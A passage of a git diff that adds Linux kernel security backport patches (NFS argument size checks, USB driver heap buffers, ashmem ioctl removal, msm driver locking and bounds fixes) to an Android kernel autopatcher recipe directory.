brcmf_cfg80211_mgmt_tx(struct wiphy *wiphy, struct wireless_dev *wdev, + cfg80211_mgmt_tx_status(wdev, *cookie, buf, len, true, + GFP_KERNEL); + } else if (ieee80211_is_action(mgmt->frame_control)) { ++ if (len > BRCMF_FIL_ACTION_FRAME_SIZE + DOT11_MGMT_HDR_LEN) { ++ brcmf_err("invalid action frame length\n"); ++ err = -EINVAL; ++ goto exit; ++ } + af_params = kzalloc(sizeof(*af_params), GFP_KERNEL); + if (af_params == NULL) { + brcmf_err("unable to allocate frame\n"); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0379-210390532389-nfsd check for oversized NFSv2v3 arguments.patch b/recipes-kernel/linux/linux-bass/autopatcher/0379-210390532389-nfsd check for oversized NFSv2v3 arguments.patch new file mode 100644 index 0000000..b903f68 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0379-210390532389-nfsd check for oversized NFSv2v3 arguments.patch @@ -0,0 +1,105 @@ +From 2103905323896cd854cd881676d1fe5f0bf48124 Mon Sep 17 00:00:00 2001 +From: "J. Bruce Fields" +Date: Fri, 21 Apr 2017 16:10:18 -0400 +Subject: nfsd: check for oversized NFSv2/v3 arguments +MIME-Version: 1.0 +Content-Type: text/plain; charset=UTF-8 +Content-Transfer-Encoding: 8bit + +commit e6838a29ecb484c97e4efef9429643b9851fba6e upstream. + +A client can append random data to the end of an NFSv2 or NFSv3 RPC call +without our complaining; we'll just stop parsing at the end of the +expected data and ignore the rest. + +Encoded arguments and replies are stored together in an array of pages, +and if a call is too large it could leave inadequate space for the +reply. This is normally OK because NFS RPC's typically have either +short arguments and long replies (like READ) or long arguments and short +replies (like WRITE). But a client that sends an incorrectly long reply +can violate those assumptions. This was observed to cause crashes. + +Also, several operations increment rq_next_page in the decode routine +before checking the argument size, which can leave rq_next_page pointing +well past the end of the page array, causing trouble later in +svc_free_pages. + +So, following a suggestion from Neil Brown, add a central check to +enforce our expectation that no NFSv2/v3 call has both a large call and +a large reply. + +As followup we may also want to rewrite the encoding routines to check +more carefully that they aren't running off the end of the page array. + +We may also consider rejecting calls that have any extra garbage +appended. That would be safer, and within our rights by spec, but given +the age of our server and the NFS protocol, and the fact that we've +never enforced this before, we may need to balance that against the +possibility of breaking some oddball client. + +Reported-by: Tuomas Haanpää +Reported-by: Ari Kauppi +Reviewed-by: NeilBrown +Signed-off-by: J. Bruce Fields +Signed-off-by: Willy Tarreau +--- + fs/nfsd/nfssvc.c | 36 ++++++++++++++++++++++++++++++++++++ + 1 file changed, 36 insertions(+) + +diff --git a/fs/nfsd/nfssvc.c b/fs/nfsd/nfssvc.c +index 8016892f3f05..879b56d2f722 100644 +--- a/fs/nfsd/nfssvc.c ++++ b/fs/nfsd/nfssvc.c +@@ -627,6 +627,37 @@ static __be32 map_new_errors(u32 vers, __be32 nfserr) + return nfserr; + } + ++/* ++ * A write procedure can have a large argument, and a read procedure can ++ * have a large reply, but no NFSv2 or NFSv3 procedure has argument and ++ * reply that can both be larger than a page. The xdr code has taken ++ * advantage of this assumption to be a sloppy about bounds checking in ++ * some cases. Pending a rewrite of the NFSv2/v3 xdr code to fix that ++ * problem, we enforce these assumptions here: ++ */ ++static bool nfs_request_too_big(struct svc_rqst *rqstp, ++ struct svc_procedure *proc) ++{ ++ /* ++ * The ACL code has more careful bounds-checking and is not ++ * susceptible to this problem: ++ */ ++ if (rqstp->rq_prog != NFS_PROGRAM) ++ return false; ++ /* ++ * Ditto NFSv4 (which can in theory have argument and reply both ++ * more than a page): ++ */ ++ if (rqstp->rq_vers >= 4) ++ return false; ++ /* The reply will be small, we're OK: */ ++ if (proc->pc_xdrressize > 0 && ++ proc->pc_xdrressize < XDR_QUADLEN(PAGE_SIZE)) ++ return false; ++ ++ return rqstp->rq_arg.len > PAGE_SIZE; ++} ++ + int + nfsd_dispatch(struct svc_rqst *rqstp, __be32 *statp) + { +@@ -639,6 +670,11 @@ nfsd_dispatch(struct svc_rqst *rqstp, __be32 *statp) + rqstp->rq_vers, rqstp->rq_proc); + proc = rqstp->rq_procinfo; + ++ if (nfs_request_too_big(rqstp, proc)) { ++ dprintk("nfsd: NFSv%d argument too large\n", rqstp->rq_vers); ++ *statp = rpc_garbage_args; ++ return 1; ++ } + /* + * Give the xdr decoder a chance to change this if it wants + * (necessary in the NFSv4.0 compound case) +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0380-fad5324503f3-virtioconsole avoid DMA from stack.patch b/recipes-kernel/linux/linux-bass/autopatcher/0380-fad5324503f3-virtioconsole avoid DMA from stack.patch new file mode 100644 index 0000000..59bf8c5 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0380-fad5324503f3-virtioconsole avoid DMA from stack.patch @@ -0,0 +1,55 @@ +From fad5324503f33bf6547c7227de9de936e11f24a2 Mon Sep 17 00:00:00 2001 +From: Omar Sandoval +Date: Wed, 1 Feb 2017 00:02:27 -0800 +Subject: virtio-console: avoid DMA from stack + +commit c4baad50297d84bde1a7ad45e50c73adae4a2192 upstream. + +put_chars() stuffs the buffer it gets into an sg, but that buffer may be +on the stack. This breaks with CONFIG_VMAP_STACK=y (for me, it +manifested as printks getting turned into NUL bytes). + +Signed-off-by: Omar Sandoval +Signed-off-by: Michael S. Tsirkin +Reviewed-by: Amit Shah +Cc: Ben Hutchings +Cc: Brad Spengler +Signed-off-by: Jiri Slaby +Signed-off-by: Willy Tarreau +--- + drivers/char/virtio_console.c | 12 ++++++++++-- + 1 file changed, 10 insertions(+), 2 deletions(-) + +diff --git a/drivers/char/virtio_console.c b/drivers/char/virtio_console.c +index ec3bd62eeaf6..d69c63fdae67 100644 +--- a/drivers/char/virtio_console.c ++++ b/drivers/char/virtio_console.c +@@ -1129,6 +1129,8 @@ static int put_chars(u32 vtermno, const char *buf, int count) + { + struct port *port; + struct scatterlist sg[1]; ++ void *data; ++ int ret; + + if (unlikely(early_put_chars)) + return early_put_chars(vtermno, buf, count); +@@ -1137,8 +1139,14 @@ static int put_chars(u32 vtermno, const char *buf, int count) + if (!port) + return -EPIPE; + +- sg_init_one(sg, buf, count); +- return __send_to_port(port, sg, 1, count, (void *)buf, false); ++ data = kmemdup(buf, count, GFP_ATOMIC); ++ if (!data) ++ return -ENOMEM; ++ ++ sg_init_one(sg, data, count); ++ ret = __send_to_port(port, sg, 1, count, data, false); ++ kfree(data); ++ return ret; + } + + /* +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0381-6a1d611e9c4b-pegasus Use heap buffers for all register access.patch b/recipes-kernel/linux/linux-bass/autopatcher/0381-6a1d611e9c4b-pegasus Use heap buffers for all register access.patch new file mode 100644 index 0000000..45cf6e0 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0381-6a1d611e9c4b-pegasus Use heap buffers for all register access.patch @@ -0,0 +1,99 @@ +From 6a1d611e9c4b871f44ef7a1ff8069461b2792add Mon Sep 17 00:00:00 2001 +From: Ben Hutchings +Date: Sat, 4 Feb 2017 16:56:03 +0000 +Subject: pegasus: Use heap buffers for all register access +MIME-Version: 1.0 +Content-Type: text/plain; charset=UTF-8 +Content-Transfer-Encoding: 8bit + +commit 5593523f968bc86d42a035c6df47d5e0979b5ace upstream. + +Allocating USB buffers on the stack is not portable, and no longer +works on x86_64 (with VMAP_STACK enabled as per default). + +Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2") +References: https://bugs.debian.org/852556 +Reported-by: Lisandro Damián Nicanor Pérez Meyer +Tested-by: Lisandro Damián Nicanor Pérez Meyer +Signed-off-by: Ben Hutchings +Signed-off-by: David S. Miller +Cc: Brad Spengler +Signed-off-by: Jiri Slaby +Signed-off-by: Willy Tarreau +--- + drivers/net/usb/pegasus.c | 29 +++++++++++++++++++++++++---- + 1 file changed, 25 insertions(+), 4 deletions(-) + +diff --git a/drivers/net/usb/pegasus.c b/drivers/net/usb/pegasus.c +index 03e8a15d7deb..f32a57ed1d13 100644 +--- a/drivers/net/usb/pegasus.c ++++ b/drivers/net/usb/pegasus.c +@@ -126,40 +126,61 @@ static void async_ctrl_callback(struct urb *urb) + + static int get_registers(pegasus_t *pegasus, __u16 indx, __u16 size, void *data) + { ++ u8 *buf; + int ret; + ++ buf = kmalloc(size, GFP_NOIO); ++ if (!buf) ++ return -ENOMEM; ++ + ret = usb_control_msg(pegasus->usb, usb_rcvctrlpipe(pegasus->usb, 0), + PEGASUS_REQ_GET_REGS, PEGASUS_REQT_READ, 0, +- indx, data, size, 1000); ++ indx, buf, size, 1000); + if (ret < 0) + netif_dbg(pegasus, drv, pegasus->net, + "%s returned %d\n", __func__, ret); ++ else if (ret <= size) ++ memcpy(data, buf, ret); ++ kfree(buf); + return ret; + } + +-static int set_registers(pegasus_t *pegasus, __u16 indx, __u16 size, void *data) ++static int set_registers(pegasus_t *pegasus, __u16 indx, __u16 size, ++ const void *data) + { ++ u8 *buf; + int ret; + ++ buf = kmemdup(data, size, GFP_NOIO); ++ if (!buf) ++ return -ENOMEM; ++ + ret = usb_control_msg(pegasus->usb, usb_sndctrlpipe(pegasus->usb, 0), + PEGASUS_REQ_SET_REGS, PEGASUS_REQT_WRITE, 0, +- indx, data, size, 100); ++ indx, buf, size, 100); + if (ret < 0) + netif_dbg(pegasus, drv, pegasus->net, + "%s returned %d\n", __func__, ret); ++ kfree(buf); + return ret; + } + + static int set_register(pegasus_t *pegasus, __u16 indx, __u8 data) + { ++ u8 *buf; + int ret; + ++ buf = kmemdup(&data, 1, GFP_NOIO); ++ if (!buf) ++ return -ENOMEM; ++ + ret = usb_control_msg(pegasus->usb, usb_sndctrlpipe(pegasus->usb, 0), + PEGASUS_REQ_SET_REG, PEGASUS_REQT_WRITE, data, +- indx, &data, 1, 1000); ++ indx, buf, 1, 1000); + if (ret < 0) + netif_dbg(pegasus, drv, pegasus->net, + "%s returned %d\n", __func__, ret); ++ kfree(buf); + return ret; + } + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0382-57420afadca5-rtl8150 Use heap buffers for all register access.patch b/recipes-kernel/linux/linux-bass/autopatcher/0382-57420afadca5-rtl8150 Use heap buffers for all register access.patch new file mode 100644 index 0000000..4f701ac --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0382-57420afadca5-rtl8150 Use heap buffers for all register access.patch @@ -0,0 +1,71 @@ +From 57420afadca5f7da172c6bdfcbefe8910a9a9125 Mon Sep 17 00:00:00 2001 +From: Ben Hutchings +Date: Sat, 4 Feb 2017 16:56:32 +0000 +Subject: rtl8150: Use heap buffers for all register access + +commit 7926aff5c57b577ab0f43364ff0c59d968f6a414 upstream. + +Allocating USB buffers on the stack is not portable, and no longer +works on x86_64 (with VMAP_STACK enabled as per default). + +Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2") +Signed-off-by: Ben Hutchings +Signed-off-by: David S. Miller +Cc: Brad Spengler +Signed-off-by: Jiri Slaby +Signed-off-by: Willy Tarreau +--- + drivers/net/usb/rtl8150.c | 34 +++++++++++++++++++++++++++------- + 1 file changed, 27 insertions(+), 7 deletions(-) + +diff --git a/drivers/net/usb/rtl8150.c b/drivers/net/usb/rtl8150.c +index 6cbdac67f3a0..59d6a3a5830a 100644 +--- a/drivers/net/usb/rtl8150.c ++++ b/drivers/net/usb/rtl8150.c +@@ -156,16 +156,36 @@ static const char driver_name [] = "rtl8150"; + */ + static int get_registers(rtl8150_t * dev, u16 indx, u16 size, void *data) + { +- return usb_control_msg(dev->udev, usb_rcvctrlpipe(dev->udev, 0), +- RTL8150_REQ_GET_REGS, RTL8150_REQT_READ, +- indx, 0, data, size, 500); ++ void *buf; ++ int ret; ++ ++ buf = kmalloc(size, GFP_NOIO); ++ if (!buf) ++ return -ENOMEM; ++ ++ ret = usb_control_msg(dev->udev, usb_rcvctrlpipe(dev->udev, 0), ++ RTL8150_REQ_GET_REGS, RTL8150_REQT_READ, ++ indx, 0, buf, size, 500); ++ if (ret > 0 && ret <= size) ++ memcpy(data, buf, ret); ++ kfree(buf); ++ return ret; + } + +-static int set_registers(rtl8150_t * dev, u16 indx, u16 size, void *data) ++static int set_registers(rtl8150_t * dev, u16 indx, u16 size, const void *data) + { +- return usb_control_msg(dev->udev, usb_sndctrlpipe(dev->udev, 0), +- RTL8150_REQ_SET_REGS, RTL8150_REQT_WRITE, +- indx, 0, data, size, 500); ++ void *buf; ++ int ret; ++ ++ buf = kmemdup(data, size, GFP_NOIO); ++ if (!buf) ++ return -ENOMEM; ++ ++ ret = usb_control_msg(dev->udev, usb_sndctrlpipe(dev->udev, 0), ++ RTL8150_REQ_SET_REGS, RTL8150_REQT_WRITE, ++ indx, 0, buf, size, 500); ++ kfree(buf); ++ return ret; + } + + static void async_set_reg_cb(struct urb *urb) +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0383-84f8c42e5d84-msm camera Allow driver file to be opend only once.patch b/recipes-kernel/linux/linux-bass/autopatcher/0383-84f8c42e5d84-msm camera Allow driver file to be opend only once.patch new file mode 100644 index 0000000..b733730 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0383-84f8c42e5d84-msm camera Allow driver file to be opend only once.patch @@ -0,0 +1,35 @@ +From 84f8c42e5d848b1d04f49d253f98296e8c2280b9 Mon Sep 17 00:00:00 2001 +From: Trishansh Bhardwaj +Date: Fri, 7 Apr 2017 11:16:29 +0530 +Subject: msm: camera: Allow driver file to be opend only once. + +Use proper synchronization to ensure driver file is opened +only once. + +CRs-Fixed: 2023513 +Change-Id: I71e55e2d487fe561d3f596590b3e8102c5e921b5 +Signed-off-by: Trishansh Bhardwaj +--- + drivers/media/platform/msm/camera_v2/msm.c | 4 +--- + 1 file changed, 1 insertion(+), 3 deletions(-) + +diff --git a/drivers/media/platform/msm/camera_v2/msm.c b/drivers/media/platform/msm/camera_v2/msm.c +index c2b42a8..d8bdef5 100644 +--- a/drivers/media/platform/msm/camera_v2/msm.c ++++ b/drivers/media/platform/msm/camera_v2/msm.c +@@ -1012,11 +1012,9 @@ static int msm_open(struct file *filep) + BUG_ON(!pvdev); + + /* !!! only ONE open is allowed !!! */ +- if (atomic_read(&pvdev->opened)) ++ if (atomic_cmpxchg(&pvdev->opened, 0, 1)) + return -EBUSY; + +- atomic_set(&pvdev->opened, 1); +- + spin_lock_irqsave(&msm_pid_lock, flags); + msm_pid = get_pid(task_pid(current)); + spin_unlock_irqrestore(&msm_pid_lock, flags); +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0384-2a2f0b7463f4-ashmem remove cache maintenance support.patch b/recipes-kernel/linux/linux-bass/autopatcher/0384-2a2f0b7463f4-ashmem remove cache maintenance support.patch new file mode 100644 index 0000000..61f054b --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0384-2a2f0b7463f4-ashmem remove cache maintenance support.patch @@ -0,0 +1,99 @@ +From 2a2f0b7463f4de9ca225769204ff62c71760709c Mon Sep 17 00:00:00 2001 +From: Sudarshan Rajagopalan +Date: Thu, 6 Apr 2017 16:15:48 -0700 +Subject: ashmem: remove cache maintenance support + +The cache maintenance routines in ashmem were causing +several security issues. Since they are not being used +anymore by any drivers, its well to remove them entirely. + +CRs-Fixed: 1107034, 2001129, 2007786 +Change-Id: I955e33d90b888d58db5cf6bb490905283374425b +Signed-off-by: Sudarshan Rajagopalan +--- + drivers/staging/android/ashmem.c | 41 ---------------------------------------- + include/uapi/linux/ashmem.h | 3 --- + 2 files changed, 44 deletions(-) + +diff --git a/drivers/staging/android/ashmem.c b/drivers/staging/android/ashmem.c +index ee79ac8..f13aab2 100644 +--- a/drivers/staging/android/ashmem.c ++++ b/drivers/staging/android/ashmem.c +@@ -32,7 +32,6 @@ + #include + #include + #include +-#include + + #include "ashmem.h" + +@@ -659,37 +658,6 @@ static int ashmem_pin_unpin(struct ashmem_area *asma, unsigned long cmd, + return ret; + } + +-static int ashmem_cache_op(struct ashmem_area *asma, +- void (*cache_func)(const void *vstart, const void *vend)) +-{ +- int ret = 0; +- struct vm_area_struct *vma; +- if (!asma->vm_start) +- return -EINVAL; +- +- down_read(¤t->mm->mmap_sem); +- vma = find_vma(current->mm, asma->vm_start); +- if (!vma) { +- ret = -EINVAL; +- goto done; +- } +- if (vma->vm_file != asma->file) { +- ret = -EINVAL; +- goto done; +- } +- if ((asma->vm_start + asma->size) > vma->vm_end) { +- ret = -EINVAL; +- goto done; +- } +- cache_func((void *)asma->vm_start, +- (void *)(asma->vm_start + asma->size)); +-done: +- up_read(¤t->mm->mmap_sem); +- if (ret) +- asma->vm_start = 0; +- return ret; +-} +- + static long ashmem_ioctl(struct file *file, unsigned int cmd, unsigned long arg) + { + struct ashmem_area *asma = file->private_data; +@@ -735,15 +703,6 @@ static long ashmem_ioctl(struct file *file, unsigned int cmd, unsigned long arg) + ashmem_shrink(&ashmem_shrinker, &sc); + } + break; +- case ASHMEM_CACHE_FLUSH_RANGE: +- ret = ashmem_cache_op(asma, &dmac_flush_range); +- break; +- case ASHMEM_CACHE_CLEAN_RANGE: +- ret = ashmem_cache_op(asma, &dmac_clean_range); +- break; +- case ASHMEM_CACHE_INV_RANGE: +- ret = ashmem_cache_op(asma, &dmac_inv_range); +- break; + } + + return ret; +diff --git a/include/uapi/linux/ashmem.h b/include/uapi/linux/ashmem.h +index 7ec977f..7797439 100644 +--- a/include/uapi/linux/ashmem.h ++++ b/include/uapi/linux/ashmem.h +@@ -34,8 +34,5 @@ struct ashmem_pin { + #define ASHMEM_UNPIN _IOW(__ASHMEMIOC, 8, struct ashmem_pin) + #define ASHMEM_GET_PIN_STATUS _IO(__ASHMEMIOC, 9) + #define ASHMEM_PURGE_ALL_CACHES _IO(__ASHMEMIOC, 10) +-#define ASHMEM_CACHE_FLUSH_RANGE _IO(__ASHMEMIOC, 11) +-#define ASHMEM_CACHE_CLEAN_RANGE _IO(__ASHMEMIOC, 12) +-#define ASHMEM_CACHE_INV_RANGE _IO(__ASHMEMIOC, 13) + + #endif /* _UAPI_LINUX_ASHMEM_H */ +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0385-193813a21453-msmvidc Allocate bus vote data during initialization.patch b/recipes-kernel/linux/linux-bass/autopatcher/0385-193813a21453-msmvidc Allocate bus vote data during initialization.patch new file mode 100644 index 0000000..ac55f01 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0385-193813a21453-msmvidc Allocate bus vote data during initialization.patch @@ -0,0 +1,62 @@ +From 193813a21453ccc7fb6b04bedf881a6feaaa015f Mon Sep 17 00:00:00 2001 +From: Vasantha Balla +Date: Tue, 28 Mar 2017 16:04:06 +0530 +Subject: msm-vidc: Allocate bus vote data during initialization + +Dynamic reallocation of vote_data memory can cause double free +problem if multiple instances try to reallocate simultaneously. +So allocate this memory statically. + +Change-Id: Ib5ff08c600a4b69a38b519688bbc153de9f50090 +Signed-off-by: Vasantha Balla +--- + drivers/media/platform/msm/vidc/venus_hfi.c | 25 ++++++++++++++----------- + 1 file changed, 14 insertions(+), 11 deletions(-) + +diff --git a/drivers/media/platform/msm/vidc/venus_hfi.c b/drivers/media/platform/msm/vidc/venus_hfi.c +index 4df4f35..8b98c41d 100644 +--- a/drivers/media/platform/msm/vidc/venus_hfi.c ++++ b/drivers/media/platform/msm/vidc/venus_hfi.c +@@ -929,15 +929,12 @@ static int venus_hfi_vote_active_buses(void *dev, + return -EINVAL; + } + +- /* (Re-)alloc memory to store the new votes (in case we internally +- * re-vote after power collapse, which is transparent to client) */ +- cached_vote_data = krealloc(device->bus_load.vote_data, num_data * +- sizeof(*cached_vote_data), GFP_KERNEL); +- if (!cached_vote_data) { +- dprintk(VIDC_ERR, "Can't alloc memory to cache bus votes\n"); +- rc = -ENOMEM; +- goto err_no_mem; +- } ++ cached_vote_data = device->bus_load.vote_data; ++ if (!cached_vote_data) { ++ dprintk(VIDC_ERR,"Invalid bus load vote data\n"); ++ rc = -ENOMEM; ++ goto err_no_mem; ++ } + + /* Alloc & init the load table */ + num_bus = device->res->bus_set.count; +@@ -3746,9 +3743,15 @@ static int venus_hfi_init_bus(struct venus_hfi_device *device) + dprintk(VIDC_DBG, "Registered bus client %s\n", name); + } + +- device->bus_load.vote_data = NULL; +- device->bus_load.vote_data_count = 0; ++ device->bus_load.vote_data = (struct vidc_bus_vote_data *) ++ kzalloc(sizeof(struct vidc_bus_vote_data)*MAX_SUPPORTED_INSTANCES_COUNT, GFP_KERNEL); + ++ if (device->bus_load.vote_data == NULL) { ++ dprintk(VIDC_ERR,"Failed to allocate memory for vote_data\n"); ++ rc = -ENOMEM; ++ goto err_init_bus; ++ } ++ device->bus_load.vote_data_count = 0; + return rc; + err_init_bus: + venus_hfi_deinit_bus(device); +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0386-b925d9f76164-msm rmnetipa fix security issue.patch b/recipes-kernel/linux/linux-bass/autopatcher/0386-b925d9f76164-msm rmnetipa fix security issue.patch new file mode 100644 index 0000000..686acd0 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0386-b925d9f76164-msm rmnetipa fix security issue.patch @@ -0,0 +1,38 @@ +From b925d9f76164475abb6f6a557327095156c9b249 Mon Sep 17 00:00:00 2001 +From: Skylar Chang +Date: Fri, 14 Apr 2017 19:23:05 -0700 +Subject: msm: rmnet_ipa: fix security issue + +Fix the security issue where mux channel name might +not be null-terminated in ipa wan driver. + +Change-Id: I3ef440b62cf3861464fb60c1e7f65f2be5e39ed0 +Acked-by: Shihuan Liu +Signed-off-by: Skylar Chang +--- + drivers/platform/msm/ipa/rmnet_ipa.c | 5 ++++- + 1 file changed, 4 insertions(+), 1 deletion(-) + +diff --git a/drivers/platform/msm/ipa/rmnet_ipa.c b/drivers/platform/msm/ipa/rmnet_ipa.c +index 3f073f2..a2c838b 100644 +--- a/drivers/platform/msm/ipa/rmnet_ipa.c ++++ b/drivers/platform/msm/ipa/rmnet_ipa.c +@@ -1,4 +1,4 @@ +-/* Copyright (c) 2014, The Linux Foundation. All rights reserved. ++/* Copyright (c) 2017, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and +@@ -1236,6 +1236,9 @@ static int ipa_wwan_ioctl(struct net_device *dev, struct ifreq *ifr, int cmd) + memcpy(mux_channel[rmnet_index].vchannel_name, + extend_ioctl_data.u.rmnet_mux_val.vchannel_name, + sizeof(mux_channel[rmnet_index].vchannel_name)); ++ mux_channel[rmnet_index].vchannel_name[ ++ IFNAMSIZ - 1] = '\0'; ++ + IPAWANDBG("cashe device[%s:%d] in IPA_wan[%d]\n", + mux_channel[rmnet_index].vchannel_name, + mux_channel[rmnet_index].mux_id, +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0387-652f01eb8b5e-diag dci Add protection while deinitializing clients.patch b/recipes-kernel/linux/linux-bass/autopatcher/0387-652f01eb8b5e-diag dci Add protection while deinitializing clients.patch new file mode 100644 index 0000000..c024acb --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0387-652f01eb8b5e-diag dci Add protection while deinitializing clients.patch @@ -0,0 +1,111 @@ +From 652f01eb8b5e24190c9ea0ca31e5fc7ff4150636 Mon Sep 17 00:00:00 2001 +From: Manoj Prabhu B +Date: Thu, 18 Feb 2016 14:15:04 +0530 +Subject: diag: dci: Add protection while de-initializing clients + +Currently, while de-initializing dci clients, there is +a possibility to access stale entries. This patch fixes +this issue by adding proper protection mechanism. +CRs-Fixed: 961469 + +Bug: 62378232 +Change-Id: I829c9497eeb356662a6531592c66108e615ce6e4 +Signed-off-by: Mohit Aggarwal +Signed-off-by: Manoj Prabhu B +--- + drivers/char/diag/diag_dci.c | 13 ++++++++----- + drivers/char/diag/diagchar_core.c | 20 ++++++++++++++++---- + 2 files changed, 24 insertions(+), 9 deletions(-) + +diff --git a/drivers/char/diag/diag_dci.c b/drivers/char/diag/diag_dci.c +index 80a4602..1532928 100644 +--- a/drivers/char/diag/diag_dci.c ++++ b/drivers/char/diag/diag_dci.c +@@ -2970,14 +2970,15 @@ int diag_dci_deinit_client(struct diag_dci_client_tbl *entry) + if (!entry) + return DIAG_DCI_NOT_SUPPORTED; + +- token = entry->client_info.token; +- + mutex_lock(&driver->dci_mutex); ++ ++ token = entry->client_info.token; + /* + * Remove the entry from the list before freeing the buffers + * to ensure that we don't have any invalid access. + */ +- list_del(&entry->track); ++ if (!list_empty(&entry->track)) ++ list_del(&entry->track); + driver->num_dci_client--; + /* + * Clear the client's log and event masks, update the cumulative +@@ -3006,7 +3007,8 @@ int diag_dci_deinit_client(struct diag_dci_client_tbl *entry) + req_entry = list_entry(start, struct dci_pkt_req_entry_t, + track); + if (req_entry->client_id == entry->client_info.client_id) { +- list_del(&req_entry->track); ++ if (!list_empty(&req_entry->track)) ++ list_del(&req_entry->track); + kfree(req_entry); + } + } +@@ -3015,7 +3017,8 @@ int diag_dci_deinit_client(struct diag_dci_client_tbl *entry) + mutex_lock(&entry->write_buf_mutex); + list_for_each_entry_safe(buf_entry, temp, &entry->list_write_buf, + buf_track) { +- list_del(&buf_entry->buf_track); ++ if (!list_empty(&buf_entry->buf_track)) ++ list_del(&buf_entry->buf_track); + if (buf_entry->buf_type == DCI_BUF_SECONDARY) { + mutex_lock(&buf_entry->data_mutex); + diagmem_free(driver, buf_entry->data, POOL_TYPE_DCI); +diff --git a/drivers/char/diag/diagchar_core.c b/drivers/char/diag/diagchar_core.c +index d510af4..2d9f1015 100644 +--- a/drivers/char/diag/diagchar_core.c ++++ b/drivers/char/diag/diagchar_core.c +@@ -1250,12 +1250,18 @@ long diagchar_compat_ioctl(struct file *filp, + result = diag_ioctl_dci_reg(ioarg); + break; + case DIAG_IOCTL_DCI_DEINIT: ++ mutex_lock(&driver->dci_mutex); + if (copy_from_user((void *)&client_id, (void __user *)ioarg, +- sizeof(int))) ++ sizeof(int))) { ++ mutex_unlock(&driver->dci_mutex); + return -EFAULT; ++ } + dci_client = diag_dci_get_client_entry(client_id); +- if (!dci_client) ++ if (!dci_client) { ++ mutex_unlock(&driver->dci_mutex); + return DIAG_DCI_NOT_SUPPORTED; ++ } ++ mutex_unlock(&driver->dci_mutex); + result = diag_dci_deinit_client(dci_client); + break; + case DIAG_IOCTL_DCI_SUPPORT: +@@ -1347,12 +1353,18 @@ long diagchar_ioctl(struct file *filp, + result = diag_ioctl_dci_reg(ioarg); + break; + case DIAG_IOCTL_DCI_DEINIT: ++ mutex_lock(&driver->dci_mutex); + if (copy_from_user((void *)&client_id, (void __user *)ioarg, +- sizeof(int))) ++ sizeof(int))) { ++ mutex_unlock(&driver->dci_mutex); + return -EFAULT; ++ } + dci_client = diag_dci_get_client_entry(client_id); +- if (!dci_client) ++ if (!dci_client) { ++ mutex_unlock(&driver->dci_mutex); + return DIAG_DCI_NOT_SUPPORTED; ++ } ++ mutex_unlock(&driver->dci_mutex); + result = diag_dci_deinit_client(dci_client); + break; + case DIAG_IOCTL_DCI_SUPPORT: +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0388-96a3947b5ad1-diag dci Add protection while querying event status.patch b/recipes-kernel/linux/linux-bass/autopatcher/0388-96a3947b5ad1-diag dci Add protection while querying event status.patch new file mode 100644 index 0000000..09e204d --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0388-96a3947b5ad1-diag dci Add protection while querying event status.patch @@ -0,0 +1,35 @@ +From 96a3947b5ad1b54385fc8458935b747dcba2f960 Mon Sep 17 00:00:00 2001 +From: Mohit Aggarwal +Date: Sat, 22 Apr 2017 10:49:18 +0530 +Subject: diag: dci: Add protection while querying event status + +Currently, protection is missing when querying event +status due to which already removed dci client entry +might be accessed. This patch takes care of issue by +taking proper locking. + +CRs-Fixed: 2015892 +Bug: 62378232 +Change-Id: I4195c4c6198d85e96559f1728d74419527a76bc5 +Signed-off-by: Mohit Aggarwal +--- + drivers/char/diag/diagchar_core.c | 2 ++ + 1 file changed, 2 insertions(+) + +diff --git a/drivers/char/diag/diagchar_core.c b/drivers/char/diag/diagchar_core.c +index 44ec2fe..fda5207 100644 +--- a/drivers/char/diag/diagchar_core.c ++++ b/drivers/char/diag/diagchar_core.c +@@ -1377,7 +1377,9 @@ long diagchar_ioctl(struct file *filp, + result = diag_ioctl_dci_log_status(ioarg); + break; + case DIAG_IOCTL_DCI_EVENT_STATUS: ++ mutex_lock(&driver->dci_mutex); + result = diag_ioctl_dci_event_status(ioarg); ++ mutex_unlock(&driver->dci_mutex); + break; + case DIAG_IOCTL_DCI_CLEAR_LOGS: + if (copy_from_user((void *)&client_id, (void __user *)ioarg, +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0389-1ede4694d5b2-diag Fix for possible dci stale entries.patch b/recipes-kernel/linux/linux-bass/autopatcher/0389-1ede4694d5b2-diag Fix for possible dci stale entries.patch new file mode 100644 index 0000000..27e32c1 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0389-1ede4694d5b2-diag Fix for possible dci stale entries.patch @@ -0,0 +1,195 @@ +From 1ede4694d5b28e1992c61613d67a6e3a18f96222 Mon Sep 17 00:00:00 2001 +From: Mohit Aggarwal +Date: Mon, 21 Mar 2016 12:57:38 +0530 +Subject: diag: Fix for possible dci stale entries + +This patch provides the protection to dci client +entries from corruption. + +CRs-Fixed: 984942 992683 +Bug: 62378232 +Change-Id: Ifcd9f14dc03d9e42a31b3e126839489881e98303 +Signed-off-by: Manoj 